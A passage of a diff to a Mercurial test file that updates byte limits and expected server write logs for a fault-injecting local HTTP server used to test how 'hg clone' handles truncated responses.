write(2 from 2) -> (818) \r\n (no-py3 !) - write(450 from 450) -> (368) batch branchmap $USUAL_BUNDLE2_CAPS_NO_PHASES$ changegroupsubset compression=none getbundle httpheader=1024 httpmediatype=0.1rx,0.1tx,0.2tx known lookup pushkey streamreqs=generaldelta,revlogv1 unbundle=HG10GZ,HG10BZ,HG10UN unbundlehash (no-py3 !) + sendall(160 from 160) -> (799) HTTP/1.1 200 Script output follows\r\nServer: badhttpserver\r\nDate: $HTTP_DATE$\r\nContent-Type: application/mercurial-0.1\r\nContent-Length: 431\r\n\r\n (py36 !) + sendall(431 from 431) -> (368) batch branchmap $USUAL_BUNDLE2_CAPS_NO_PHASES$ changegroupsubset compression=none getbundle httpheader=1024 httpmediatype=0.1rx,0.1tx,0.2tx known lookup pushkey streamreqs=generaldelta,revlogv1 unbundle=HG10GZ,HG10BZ,HG10UN unbundlehash (py36 !) + write(160 from 160) -> (818) HTTP/1.1 200 Script output follows\r\nServer: badhttpserver\r\nDate: $HTTP_DATE$\r\nContent-Type: application/mercurial-0.1\r\nContent-Length: 431\r\n\r\n (py3 no-py36 !) + write(431 from 431) -> (368) batch branchmap $USUAL_BUNDLE2_CAPS_NO_PHASES$ changegroupsubset compression=none getbundle httpheader=1024 httpmediatype=0.1rx,0.1tx,0.2tx known lookup pushkey streamreqs=generaldelta,revlogv1 unbundle=HG10GZ,HG10BZ,HG10UN unbundlehash (py3 no-py36 !) + write(36 from 36) -> (923) HTTP/1.1 200 Script output follows\r\n (no-py3 !) + write(23 from 23) -> (900) Server: badhttpserver\r\n (no-py3 !) + write(37 from 37) -> (863) Date: $HTTP_DATE$\r\n (no-py3 !) + write(41 from 41) -> (822) Content-Type: application/mercurial-0.1\r\n (no-py3 !) + write(21 from 21) -> (801) Content-Length: 431\r\n (no-py3 !) + write(2 from 2) -> (799) \r\n (no-py3 !) + write(431 from 431) -> (368) batch branchmap $USUAL_BUNDLE2_CAPS_NO_PHASES$ changegroupsubset compression=none getbundle httpheader=1024 httpmediatype=0.1rx,0.1tx,0.2tx known lookup pushkey streamreqs=generaldelta,revlogv1 unbundle=HG10GZ,HG10BZ,HG10UN unbundlehash (no-py3 !) readline(65537) -> (26) GET /?cmd=batch HTTP/1.1\r\n readline(*) -> (27) Accept-Encoding: identity\r\n (glob) readline(*) -> (29) vary: X-HgArg-1,X-HgProto-1\r\n (glob) @@ -625,7 +626,7 @@ readline(65537) -> (30) GET /?cmd=getbundle HTTP/1.1\r\n readline(*) -> (27) Accept-Encoding: identity\r\n (glob) readline(*) -> (29) vary: X-HgArg-1,X-HgProto-1\r\n (glob) - readline(*) -> (461) x-hgarg-1: bookmarks=1&bundlecaps=HG20%2Cbundle2%3DHG20%250Abookmarks%250Achangegroup%253D01%252C02%250Adigests%253Dmd5%252Csha1%252Csha512%250Aerror%253Dabort%252Cunsupportedcontent%252Cpushraced%252Cpushkey%250Ahgtagsfnodes%250Alistkeys%250Apushkey%250Aremote-changegroup%253Dhttp%252Chttps%250Arev-branch-cache%250Astream%253Dv2&cg=1&common=0000000000000000000000000000000000000000&heads=96ee1d7354c4ad7372047672c36a1f561e3a6a4c&listkeys=phases%2Cbookmarks\r\n (glob) + readline(*) -> (440) x-hgarg-1: bookmarks=1&bundlecaps=HG20%2Cbundle2%3DHG20%250Abookmarks%250Achangegroup%253D01%252C02%250Adigests%253Dmd5%252Csha1%252Csha512%250Aerror%253Dabort%252Cunsupportedcontent%252Cpushraced%252Cpushkey%250Ahgtagsfnodes%250Alistkeys%250Apushkey%250Aremote-changegroup%253Dhttp%252Chttps%250Astream%253Dv2&cg=1&common=0000000000000000000000000000000000000000&heads=96ee1d7354c4ad7372047672c36a1f561e3a6a4c&listkeys=phases%2Cbookmarks\r\n (glob) readline(*) -> (61) x-hgproto-1: 0.1 0.2 comp=$USUAL_COMPRESSIONS$ partial-pull\r\n (glob) readline(*) -> (35) accept: application/mercurial-0.1\r\n (glob) readline(*) -> (2?) host: localhost:$HGPORT\r\n (glob) @@ -651,7 +652,7 @@ Server sends partial compression string - $ hg serve --config badserver.closeaftersendbytes=1002 -p $HGPORT -d --pid-file=hg.pid -E error.log + $ hg serve --config badserver.closeaftersendbytes=983 -p $HGPORT -d --pid-file=hg.pid -E error.log $ cat hg.pid > $DAEMON_PIDS $ hg clone http://localhost:$HGPORT/ clone @@ -669,17 +670,17 @@ readline(*) -> (2?) host: localhost:$HGPORT\r\n (glob) readline(*) -> (49) user-agent: mercurial/proto-1.0 (Mercurial 4.2)\r\n (glob) readline(*) -> (2) \r\n (glob) - sendall(160 from 160) -> (842) HTTP/1.1 200 Script output follows\r\nServer: badhttpserver\r\nDate: $HTTP_DATE$\r\nContent-Type: application/mercurial-0.1\r\nContent-Length: 450\r\n\r\n (py36 !) - sendall(450 from 450) -> (392) batch branchmap $USUAL_BUNDLE2_CAPS_NO_PHASES$ changegroupsubset compression=none getbundle httpheader=1024 httpmediatype=0.1rx,0.1tx,0.2tx known lookup pushkey streamreqs=generaldelta,revlogv1 unbundle=HG10GZ,HG10BZ,HG10UN unbundlehash (py36 !) - write(160 from 160) -> (842) HTTP/1.1 200 Script output follows\r\nServer: badhttpserver\r\nDate: $HTTP_DATE$\r\nContent-Type: application/mercurial-0.1\r\nContent-Length: 450\r\n\r\n (py3 no-py36 !) - write(450 from 450) -> (392) batch branchmap $USUAL_BUNDLE2_CAPS_NO_PHASES$ changegroupsubset compression=none getbundle httpheader=1024 httpmediatype=0.1rx,0.1tx,0.2tx known lookup pushkey streamreqs=generaldelta,revlogv1 unbundle=HG10GZ,HG10BZ,HG10UN unbundlehash (py3 no-py36 !) - write(36 from 36) -> (966) HTTP/1.1 200 Script output follows\r\n (no-py3 !) - write(23 from 23) -> (943) Server: badhttpserver\r\n (no-py3 !) - write(37 from 37) -> (906) Date: $HTTP_DATE$\r\n (no-py3 !) - write(41 from 41) -> (865) Content-Type: application/mercurial-0.1\r\n (no-py3 !) - write(21 from 21) -> (844) Content-Length: 450\r\n (no-py3 !) - write(2 from 2) -> (842) \r\n (no-py3 !) - write(450 from 450) -> (392) batch branchmap $USUAL_BUNDLE2_CAPS_NO_PHASES$ changegroupsubset compression=none getbundle httpheader=1024 httpmediatype=0.1rx,0.1tx,0.2tx known lookup pushkey streamreqs=generaldelta,revlogv1 unbundle=HG10GZ,HG10BZ,HG10UN unbundlehash (no-py3 !) + sendall(160 from 160) -> (823) HTTP/1.1 200 Script output follows\r\nServer: badhttpserver\r\nDate: $HTTP_DATE$\r\nContent-Type: application/mercurial-0.1\r\nContent-Length: 431\r\n\r\n (py36 !) + sendall(431 from 431) -> (392) batch branchmap $USUAL_BUNDLE2_CAPS_NO_PHASES$ changegroupsubset compression=none getbundle httpheader=1024 httpmediatype=0.1rx,0.1tx,0.2tx known lookup pushkey streamreqs=generaldelta,revlogv1 unbundle=HG10GZ,HG10BZ,HG10UN unbundlehash (py36 !) + write(160 from 160) -> (842) HTTP/1.1 200 Script output follows\r\nServer: badhttpserver\r\nDate: $HTTP_DATE$\r\nContent-Type: application/mercurial-0.1\r\nContent-Length: 431\r\n\r\n (py3 no-py36 !) + write(431 from 431) -> (392) batch branchmap $USUAL_BUNDLE2_CAPS_NO_PHASES$ changegroupsubset compression=none getbundle httpheader=1024 httpmediatype=0.1rx,0.1tx,0.2tx known lookup pushkey streamreqs=generaldelta,revlogv1 unbundle=HG10GZ,HG10BZ,HG10UN unbundlehash (py3 no-py36 !) + write(36 from 36) -> (947) HTTP/1.1 200 Script output follows\r\n (no-py3 !) + write(23 from 23) -> (924) Server: badhttpserver\r\n (no-py3 !) + write(37 from 37) -> (887) Date: $HTTP_DATE$\r\n (no-py3 !) + write(41 from 41) -> (846) Content-Type: application/mercurial-0.1\r\n (no-py3 !) + write(21 from 21) -> (825) Content-Length: 431\r\n (no-py3 !) + write(2 from 2) -> (823) \r\n (no-py3 !) + write(431 from 431) -> (392) batch branchmap $USUAL_BUNDLE2_CAPS_NO_PHASES$ changegroupsubset compression=none getbundle httpheader=1024 httpmediatype=0.1rx,0.1tx,0.2tx known lookup pushkey streamreqs=generaldelta,revlogv1 unbundle=HG10GZ,HG10BZ,HG10UN unbundlehash (no-py3 !) readline(65537) -> (26) GET /?cmd=batch HTTP/1.1\r\n readline(*) -> (27) Accept-Encoding: identity\r\n (glob) readline(*) -> (29) vary: X-HgArg-1,X-HgProto-1\r\n (glob) @@ -702,7 +703,7 @@ readline(65537) -> (30) GET /?cmd=getbundle HTTP/1.1\r\n readline(*) -> (27) Accept-Encoding: identity\r\n (glob) readline(*) -> (29) vary: X-HgArg-1,X-HgProto-1\r\n (glob) - readline(*) -> (461) x-hgarg-1: bookmarks=1&bundlecaps=HG20%2Cbundle2%3DHG20%250Abookmarks%250Achangegroup%253D01%252C02%250Adigests%253Dmd5%252Csha1%252Csha512%250Aerror%253Dabort%252Cunsupportedcontent%252Cpushraced%252Cpushkey%250Ahgtagsfnodes%250Alistkeys%250Apushkey%250Aremote-changegroup%253Dhttp%252Chttps%250Arev-branch-cache%250Astream%253Dv2&cg=1&common=0000000000000000000000000000000000000000&heads=96ee1d7354c4ad7372047672c36a1f561e3a6a4c&listkeys=phases%2Cbookmarks\r\n (glob) + readline(*) -> (440) x-hgarg-1: bookmarks=1&bundlecaps=HG20%2Cbundle2%3DHG20%250Abookmarks%250Achangegroup%253D01%252C02%250Adigests%253Dmd5%252Csha1%252Csha512%250Aerror%253Dabort%252Cunsupportedcontent%252Cpushraced%252Cpushkey%250Ahgtagsfnodes%250Alistkeys%250Apushkey%250Aremote-changegroup%253Dhttp%252Chttps%250Astream%253Dv2&cg=1&common=0000000000000000000000000000000000000000&heads=96ee1d7354c4ad7372047672c36a1f561e3a6a4c&listkeys=phases%2Cbookmarks\r\n (glob) readline(*) -> (61) x-hgproto-1: 0.1 0.2 comp=$USUAL_COMPRESSIONS$ partial-pull\r\n (glob) readline(*) -> (35) accept: application/mercurial-0.1\r\n (glob) readline(*) -> (2?) host: localhost:$HGPORT\r\n (glob) @@ -733,7 +734,7 @@ Server sends partial bundle2 header magic - $ hg serve --config badserver.closeaftersendbytes=999 -p $HGPORT -d --pid-file=hg.pid -E error.log + $ hg serve --config badserver.closeaftersendbytes=980 -p $HGPORT -d --pid-file=hg.pid -E error.log $ cat hg.pid > $DAEMON_PIDS $ hg clone http://localhost:$HGPORT/ clone @@ -778,7 +779,7 @@ Server sends incomplete bundle2 stream params length - $ hg serve --config badserver.closeaftersendbytes=1008 -p $HGPORT -d --pid-file=hg.pid -E error.log + $ hg serve --config badserver.closeaftersendbytes=989 -p $HGPORT -d --pid-file=hg.pid -E error.log $ cat hg.pid > $DAEMON_PIDS $ hg clone http://localhost:$HGPORT/ clone @@ -825,7 +826,7 @@ Servers stops after bundle2 stream params header - $ hg serve --config badserver.closeaftersendbytes=1011 -p $HGPORT -d --pid-file=hg.pid -E error.log + $ hg serve --config badserver.closeaftersendbytes=992 -p $HGPORT -d --pid-file=hg.pid -E error.log $ cat hg.pid > $DAEMON_PIDS $ hg clone http://localhost:$HGPORT/ clone @@ -871,7 +872,7 @@ Server stops sending after bundle2 part header length - $ hg serve --config badserver.closeaftersendbytes=1020 -p $HGPORT -d --pid-file=hg.pid -E error.log + $ hg serve --config badserver.closeaftersendbytes=1001 -p $HGPORT -d --pid-file=hg.pid -E error.log $ cat hg.pid > $DAEMON_PIDS $ hg clone http://localhost:$HGPORT/ clone @@ -920,7 +921,7 @@ Server stops sending after bundle2 part header - $ hg serve --config badserver.closeaftersendbytes=1067 -p $HGPORT -d --pid-file=hg.pid -E error.log + $ hg serve --config badserver.closeaftersendbytes=1048 -p $HGPORT -d --pid-file=hg.pid -E error.log $ cat hg.pid > $DAEMON_PIDS $ hg clone http://localhost:$HGPORT/ clone @@ -973,7 +974,7 @@ Server stops after bundle2 part payload chunk size - $ hg serve --config badserver.closeaftersendbytes=1088 -p $HGPORT -d --pid-file=hg.pid -E error.log + $ hg serve --config badserver.closeaftersendbytes=1069 -p $HGPORT -d --pid-file=hg.pid -E error.log $ cat hg.pid > $DAEMON_PIDS $ hg clone http://localhost:$HGPORT/ clone @@ -1029,7 +1030,7 @@ Server stops sending in middle of bundle2 payload chunk - $ hg serve --config badserver.closeaftersendbytes=1549 -p $HGPORT -d --pid-file=hg.pid -E error.log + $ hg serve --config badserver.closeaftersendbytes=1530 -p $HGPORT -d --pid-file=hg.pid -E error.log $ cat hg.pid > $DAEMON_PIDS $ hg clone http://localhost:$HGPORT/ clone @@ -1086,7 +1087,7 @@ Server stops sending after 0 length payload chunk size - $ hg serve --config badserver.closeaftersendbytes=1580 -p $HGPORT -d --pid-file=hg.pid -E error.log + $ hg serve --config badserver.closeaftersendbytes=1561 -p $HGPORT -d --pid-file=hg.pid -E error.log $ cat hg.pid > $DAEMON_PIDS $ hg clone http://localhost:$HGPORT/ clone @@ -1148,8 +1149,7 @@ Server stops sending after 0 part bundle part header (indicating end of bundle2 payload) This is before the 0 size chunked transfer part that signals end of HTTP response. -# $ hg serve --config badserver.closeaftersendbytes=1755 -p $HGPORT -d --pid-file=hg.pid -E error.log - $ hg serve --config badserver.closeaftersendbytes=1862 -p $HGPORT -d --pid-file=hg.pid -E error.log + $ hg serve --config badserver.closeaftersendbytes=1736 -p $HGPORT -d --pid-file=hg.pid -E error.log $ cat hg.pid > $DAEMON_PIDS $ hg clone http://localhost:$HGPORT/ clone @@ -1165,25 +1165,20 @@ $ killdaemons.py $DAEMON_PIDS #if py36 - $ "$PYTHON" $TESTDIR/filtertraceback.py < error.log | tail -25 - sendall(9 from 9) -> (851) 4\\r\\n\x00\x00\x00\x00\\r\\n (esc) - sendall(9 from 9) -> (842) 4\\r\\n\x00\x00\x00)\\r\\n (esc) - sendall(47 from 47) -> (795) 29\\r\\n\x0bCHANGEGROUP\x00\x00\x00\x00\x01\x01\x07\x02 \x01version02nbchanges1\\r\\n (esc) - sendall(9 from 9) -> (786) 4\\r\\n\x00\x00\x01\xd2\\r\\n (esc) - sendall(473 from 473) -> (313) 1d2\\r\\n\x00\x00\x00\xb2\x96\xee\x1dsT\xc4\xadsr\x04vr\xc3j\x1fV\x1e:jL\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x96\xee\x1dsT\xc4\xadsr\x04vr\xc3j\x1fV\x1e:jL\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00>6a3df4de388f3c4f8e28f4f9a814299a3cbb5f50\\ntest\\n0 0\\nfoo\\n\\ninitial\x00\x00\x00\x00\x00\x00\x00\xa1j=\xf4\xde8\x8f (304) 4\\r\\n\x00\x00\x00\x00\\r\\n (esc) - sendall(9 from 9) -> (295) 4\\r\\n\x00\x00\x00 \\r\\n (esc) - sendall(38 from 38) -> (257) 20\\r\\n\x08LISTKEYS\x00\x00\x00\x01\x01\x00 \x06namespacephases\\r\\n (esc) - sendall(9 from 9) -> (248) 4\\r\\n\x00\x00\x00:\\r\\n (esc) - sendall(64 from 64) -> (184) 3a\r\n96ee1d7354c4ad7372047672c36a1f561e3a6a4c 1\npublishing True\r\n - sendall(9 from 9) -> (175) 4\\r\\n\x00\x00\x00\x00\\r\\n (esc) - sendall(9 from 9) -> (166) 4\\r\\n\x00\x00\x00#\\r\\n (esc) - sendall(41 from 41) -> (125) 23\\r\\n\x08LISTKEYS\x00\x00\x00\x02\x01\x00 namespacebookmarks\\r\\n (esc) - sendall(9 from 9) -> (116) 4\\r\\n\x00\x00\x00\x00\\r\\n (esc) - sendall(9 from 9) -> (107) 4\\r\\n\x00\x00\x00\x1d\\r\\n (esc) - sendall(35 from 35) -> (72) 1d\\r\\n\x16cache:rev-branch-cache\x00\x00\x00\x03\x00\x00\\r\\n (esc) - sendall(9 from 9) -> (63) 4\\r\\n\x00\x00\x00'\\r\\n (esc) - sendall(45 from 45) -> (18) 27\\r\\n\x00\x00\x00\x07\x00\x00\x00\x01\x00\x00\x00\x00default\x96\xee\x1dsT\xc4\xadsr\x04vr\xc3j\x1fV\x1e:jL\\r\\n (esc) + $ "$PYTHON" $TESTDIR/filtertraceback.py < error.log | tail -20 + sendall(9 from 9) -> (744) 4\\r\\n\x00\x00\x00\x00\\r\\n (esc) + sendall(9 from 9) -> (735) 4\\r\\n\x00\x00\x00)\\r\\n (esc) + sendall(47 from 47) -> (688) 29\\r\\n\x0bCHANGEGROUP\x00\x00\x00\x00\x01\x01\x07\x02 \x01version02nbchanges1\\r\\n (esc) + sendall(9 from 9) -> (679) 4\\r\\n\x00\x00\x01\xd2\\r\\n (esc) + sendall(473 from 473) -> (206) 1d2\\r\\n\x00\x00\x00\xb2\x96\xee\x1dsT\xc4\xadsr\x04vr\xc3j\x1fV\x1e:jL\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x96\xee\x1dsT\xc4\xadsr\x04vr\xc3j\x1fV\x1e:jL\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00>6a3df4de388f3c4f8e28f4f9a814299a3cbb5f50\\ntest\\n0 0\\nfoo\\n\\ninitial\x00\x00\x00\x00\x00\x00\x00\xa1j=\xf4\xde8\x8f (197) 4\\r\\n\x00\x00\x00\x00\\r\\n (esc) + sendall(9 from 9) -> (188) 4\\r\\n\x00\x00\x00 \\r\\n (esc) + sendall(38 from 38) -> (150) 20\\r\\n\x08LISTKEYS\x00\x00\x00\x01\x01\x00 \x06namespacephases\\r\\n (esc) + sendall(9 from 9) -> (141) 4\\r\\n\x00\x00\x00:\\r\\n (esc) + sendall(64 from 64) -> (77) 3a\r\n96ee1d7354c4ad7372047672c36a1f561e3a6a4c 1\npublishing True\r\n + sendall(9 from 9) -> (68) 4\\r\\n\x00\x00\x00\x00\\r\\n (esc) + sendall(9 from 9) -> (59) 4\\r\\n\x00\x00\x00#\\r\\n (esc) + sendall(41 from 41) -> (18) 23\\r\\n\x08LISTKEYS\x00\x00\x00\x02\x01\x00 namespacebookmarks\\r\\n (esc) sendall(9 from 9) -> (9) 4\\r\\n\x00\x00\x00\x00\\r\\n (esc) sendall(9 from 9) -> (0) 4\\r\\n\x00\x00\x00\x00\\r\\n (esc) write limit reached; closing socket @@ -1193,25 +1188,20 @@ #else - $ "$PYTHON" $TESTDIR/filtertraceback.py < error.log | tail -26 - write(9 from 9) -> (851) 4\\r\\n\x00\x00\x00\x00\\r\\n (esc) - write(9 from 9) -> (842) 4\\r\\n\x00\x00\x00)\\r\\n (esc) - write(47 from 47) -> (795) 29\\r\\n\x0bCHANGEGROUP\x00\x00\x00\x00\x01\x01\x07\x02 \x01version02nbchanges1\\r\\n (esc) - write(9 from 9) -> (786) 4\\r\\n\x00\x00\x01\xd2\\r\\n (esc) - write(473 from 473) -> (313) 1d2\\r\\n\x00\x00\x00\xb2\x96\xee\x1dsT\xc4\xadsr\x04vr\xc3j\x1fV\x1e:jL\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x96\xee\x1dsT\xc4\xadsr\x04vr\xc3j\x1fV\x1e:jL\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00>6a3df4de388f3c4f8e28f4f9a814299a3cbb5f50\\ntest\\n0 0\\nfoo\\n\\ninitial\x00\x00\x00\x00\x00\x00\x00\xa1j=\xf4\xde8\x8f (304) 4\\r\\n\x00\x00\x00\x00\\r\\n (esc) - write(9 from 9) -> (295) 4\\r\\n\x00\x00\x00 \\r\\n (esc) - write(38 from 38) -> (257) 20\\r\\n\x08LISTKEYS\x00\x00\x00\x01\x01\x00 \x06namespacephases\\r\\n (esc) - write(9 from 9) -> (248) 4\\r\\n\x00\x00\x00:\\r\\n (esc) - write(64 from 64) -> (184) 3a\r\n96ee1d7354c4ad7372047672c36a1f561e3a6a4c 1\npublishing True\r\n - write(9 from 9) -> (175) 4\\r\\n\x00\x00\x00\x00\\r\\n (esc) - write(9 from 9) -> (166) 4\\r\\n\x00\x00\x00#\\r\\n (esc) - write(41 from 41) -> (125) 23\\r\\n\x08LISTKEYS\x00\x00\x00\x02\x01\x00 namespacebookmarks\\r\\n (esc) - write(9 from 9) -> (116) 4\\r\\n\x00\x00\x00\x00\\r\\n (esc) - write(9 from 9) -> (107) 4\\r\\n\x00\x00\x00\x1d\\r\\n (esc) - write(35 from 35) -> (72) 1d\\r\\n\x16cache:rev-branch-cache\x00\x00\x00\x03\x00\x00\\r\\n (esc) - write(9 from 9) -> (63) 4\\r\\n\x00\x00\x00'\\r\\n (esc) - write(45 from 45) -> (18) 27\\r\\n\x00\x00\x00\x07\x00\x00\x00\x01\x00\x00\x00\x00default\x96\xee\x1dsT\xc4\xadsr\x04vr\xc3j\x1fV\x1e:jL\\r\\n (esc) + $ "$PYTHON" $TESTDIR/filtertraceback.py < error.log | tail -21 + write(9 from 9) -> (744) 4\\r\\n\x00\x00\x00\x00\\r\\n (esc) + write(9 from 9) -> (735) 4\\r\\n\x00\x00\x00)\\r\\n (esc) + write(47 from 47) -> (688) 29\\r\\n\x0bCHANGEGROUP\x00\x00\x00\x00\x01\x01\x07\x02 \x01version02nbchanges1\\r\\n (esc) + write(9 from 9) -> (679) 4\\r\\n\x00\x00\x01\xd2\\r\\n (esc) + write(473 from 473) -> (206) 1d2\\r\\n\x00\x00\x00\xb2\x96\xee\x1dsT\xc4\xadsr\x04vr\xc3j\x1fV\x1e:jL\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x96\xee\x1dsT\xc4\xadsr\x04vr\xc3j\x1fV\x1e:jL\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00>6a3df4de388f3c4f8e28f4f9a814299a3cbb5f50\\ntest\\n0 0\\nfoo\\n\\ninitial\x00\x00\x00\x00\x00\x00\x00\xa1j=\xf4\xde8\x8f (197) 4\\r\\n\x00\x00\x00\x00\\r\\n (esc) + write(9 from 9) -> (188) 4\\r\\n\x00\x00\x00 \\r\\n (esc) + write(38 from 38) -> (150) 20\\r\\n\x08LISTKEYS\x00\x00\x00\x01\x01\x00 \x06namespacephases\\r\\n (esc) + write(9 from 9) -> (141) 4\\r\\n\x00\x00\x00:\\r\\n (esc) + write(64 from 64) -> (77) 3a\r\n96ee1d7354c4ad7372047672c36a1f561e3a6a4c 1\npublishing True\r\n + write(9 from 9) -> (68) 4\\r\\n\x00\x00\x00\x00\\r\\n (esc) + write(9 from 9) -> (59) 4\\r\\n\x00\x00\x00#\\r\\n (esc) + write(41 from 41) -> (18) 23\\r\\n\x08LISTKEYS\x00\x00\x00\x02\x01\x00 namespacebookmarks\\r\\n (esc) write(9 from 9) -> (9) 4\\r\\n\x00\x00\x00\x00\\r\\n (esc) write(9 from 9) -> (0) 4\\r\\n\x00\x00\x00\x00\\r\\n (esc) write limit reached; closing socket @@ -1227,7 +1217,7 @@ Server sends a size 0 chunked-transfer size without terminating \r\n - $ hg serve --config badserver.closeaftersendbytes=1865 -p $HGPORT -d --pid-file=hg.pid -E error.log + $ hg serve --config badserver.closeaftersendbytes=1739 -p $HGPORT -d --pid-file=hg.pid -E error.log $ cat hg.pid > $DAEMON_PIDS $ hg clone http://localhost:$HGPORT/ clone @@ -1243,25 +1233,20 @@ $ killdaemons.py $DAEMON_PIDS #if py36 - $ "$PYTHON" $TESTDIR/filtertraceback.py < error.log | tail -26 - sendall(9 from 9) -> (854) 4\\r\\n\x00\x00\x00\x00\\r\\n (esc) - sendall(9 from 9) -> (845) 4\\r\\n\x00\x00\x00)\\r\\n (esc) - sendall(47 from 47) -> (798) 29\\r\\n\x0bCHANGEGROUP\x00\x00\x00\x00\x01\x01\x07\x02 \x01version02nbchanges1\\r\\n (esc) - sendall(9 from 9) -> (789) 4\\r\\n\x00\x00\x01\xd2\\r\\n (esc) - sendall(473 from 473) -> (316) 1d2\\r\\n\x00\x00\x00\xb2\x96\xee\x1dsT\xc4\xadsr\x04vr\xc3j\x1fV\x1e:jL\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x96\xee\x1dsT\xc4\xadsr\x04vr\xc3j\x1fV\x1e:jL\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00>6a3df4de388f3c4f8e28f4f9a814299a3cbb5f50\\ntest\\n0 0\\nfoo\\n\\ninitial\x00\x00\x00\x00\x00\x00\x00\xa1j=\xf4\xde8\x8f (307) 4\\r\\n\x00\x00\x00\x00\\r\\n (esc) - sendall(9 from 9) -> (298) 4\\r\\n\x00\x00\x00 \\r\\n (esc) - sendall(38 from 38) -> (260) 20\\r\\n\x08LISTKEYS\x00\x00\x00\x01\x01\x00 \x06namespacephases\\r\\n (esc) - sendall(9 from 9) -> (251) 4\\r\\n\x00\x00\x00:\\r\\n (esc) - sendall(64 from 64) -> (187) 3a\r\n96ee1d7354c4ad7372047672c36a1f561e3a6a4c 1\npublishing True\r\n - sendall(9 from 9) -> (178) 4\\r\\n\x00\x00\x00\x00\\r\\n (esc) - sendall(9 from 9) -> (169) 4\\r\\n\x00\x00\x00#\\r\\n (esc) - sendall(41 from 41) -> (128) 23\\r\\n\x08LISTKEYS\x00\x00\x00\x02\x01\x00 namespacebookmarks\\r\\n (esc) - sendall(9 from 9) -> (119) 4\\r\\n\x00\x00\x00\x00\\r\\n (esc) - sendall(9 from 9) -> (110) 4\\r\\n\x00\x00\x00\x1d\\r\\n (esc) - sendall(35 from 35) -> (75) 1d\\r\\n\x16cache:rev-branch-cache\x00\x00\x00\x03\x00\x00\\r\\n (esc) - sendall(9 from 9) -> (66) 4\\r\\n\x00\x00\x00'\\r\\n (esc) - sendall(45 from 45) -> (21) 27\\r\\n\x00\x00\x00\x07\x00\x00\x00\x01\x00\x00\x00\x00default\x96\xee\x1dsT\xc4\xadsr\x04vr\xc3j\x1fV\x1e:jL\\r\\n (esc) + $ "$PYTHON" $TESTDIR/filtertraceback.py < error.log | tail -21 + sendall(9 from 9) -> (747) 4\\r\\n\x00\x00\x00\x00\\r\\n (esc) + sendall(9 from 9) -> (738) 4\\r\\n\x00\x00\x00)\\r\\n (esc) + sendall(47 from 47) -> (691) 29\\r\\n\x0bCHANGEGROUP\x00\x00\x00\x00\x01\x01\x07\x02 \x01version02nbchanges1\\r\\n (esc) + sendall(9 from 9) -> (682) 4\\r\\n\x00\x00\x01\xd2\\r\\n (esc) + sendall(473 from 473) -> (209) 1d2\\r\\n\x00\x00\x00\xb2\x96\xee\x1dsT\xc4\xadsr\x04vr\xc3j\x1fV\x1e:jL\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x96\xee\x1dsT\xc4\xadsr\x04vr\xc3j\x1fV\x1e:jL\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00>6a3df4de388f3c4f8e28f4f9a814299a3cbb5f50\\ntest\\n0 0\\nfoo\\n\\ninitial\x00\x00\x00\x00\x00\x00\x00\xa1j=\xf4\xde8\x8f (200) 4\\r\\n\x00\x00\x00\x00\\r\\n (esc) + sendall(9 from 9) -> (191) 4\\r\\n\x00\x00\x00 \\r\\n (esc) + sendall(38 from 38) -> (153) 20\\r\\n\x08LISTKEYS\x00\x00\x00\x01\x01\x00 \x06namespacephases\\r\\n (esc) + sendall(9 from 9) -> (144) 4\\r\\n\x00\x00\x00:\\r\\n (esc) + sendall(64 from 64) -> (80) 3a\r\n96ee1d7354c4ad7372047672c36a1f561e3a6a4c 1\npublishing True\r\n + sendall(9 from 9) -> (71) 4\\r\\n\x00\x00\x00\x00\\r\\n (esc) + sendall(9 from 9) -> (62) 4\\r\\n\x00\x00\x00#\\r\\n (esc) + sendall(41 from 41) -> (21) 23\\r\\n\x08LISTKEYS\x00\x00\x00\x02\x01\x00 namespacebookmarks\\r\\n (esc) sendall(9 from 9) -> (12) 4\\r\\n\x00\x00\x00\x00\\r\\n (esc) sendall(9 from 9) -> (3) 4\\r\\n\x00\x00\x00\x00\\r\\n (esc) sendall(3 from 5) -> (0) 0\r\n @@ -1272,25 +1257,20 @@ #else - $ "$PYTHON" $TESTDIR/filtertraceback.py < error.log | tail -27 - write(9 from 9) -> (854) 4\\r\\n\x00\x00\x00\x00\\r\\n 